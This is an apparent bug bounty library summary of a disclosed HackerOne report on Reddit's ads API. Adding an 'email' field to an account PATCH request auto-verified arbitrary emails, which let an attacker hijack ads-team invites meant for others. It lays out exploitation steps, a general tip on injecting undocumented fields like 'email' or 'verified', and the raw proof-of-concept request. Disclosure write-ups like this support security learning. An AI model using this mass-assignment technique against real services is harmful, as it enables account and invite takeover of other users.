# Able to bypass email verification and change email to any other user email 

Adding an email field to an account PATCH request bypassed email verification, letting an attacker set any email and accept ads-team invites meant for others.

- Payout: $5,000
- Severity: high
- Program: Reddit
- Found by: bisesh
- Disclosed: 2022-05-06
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1551176
- Library page: https://bugbountylibrary.com/r/h1%3A1551176
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:bounty platform:hackerone sev:high technique:mass-assignment vuln:access-control vuln:auth-bypass

**Target:** ads-api.reddit.com account update endpoint (PATCH /api/v2.0/accounts/<account_id>)
**Root cause:** The account update endpoint accepted an undocumented `email` field in the request body and marked the new email as verified without sending or requiring verification, allowing arbitrary email assignment.
**Steps:**
1. Create an account at https://ads.reddit.com with any email; do not verify it.
2. Go to https://ads.reddit.com/account/<account_id>/inventory-type and capture the PATCH request.
3. Send `PATCH /api/v2.0/accounts/<account_id>` with body `{"data":{"brand_safety_tier_preference":"EXPANDED","email":"<target_email>"}}`.
4. Observe the email is now set and marked verified.
5. Accept ads-team invites addressed to the target email, assuming the invitee role.
**How found:** Reporter noticed the account settings request and tested adding an extra `email` field to the PATCH body, observing it was accepted and auto-verified.
**Exploitation:** Attacker with an unverified ads account injects the `email` field into the account PATCH request, setting it to a victim's email which becomes auto-verified. They then accept pending ads-team invites sent to that email, joining the team as the invitee using their own account.
**Escalation:** Hijacking invites to other ads teams grants the attacker the invitee's role/access within those teams.
**Insight:** On account-update endpoints, try injecting undocumented fields like `email`/`verified` into the JSON body alongside legitimate params; mass-assignment of a verification flag can turn a profile edit into an identity/invite takeover.

## Proof of concept (copied exactly from the original report)

**PATCH request changing email to arbitrary address**

```
PATCH /api/v2.0/accounts/<account_id> HTTP/2
Host: ads-api.reddit.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://ads.reddit.com/
Authorization Bearer: ████████
Content-Type: application/json
Origin: https://ads.reddit.com
Content-Length: 101
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Cache-Control: max-age=0
Te: trailers

{"data":{"brand_safety_tier_preference":"EXPANDED",
"email":"█████"
}}
```

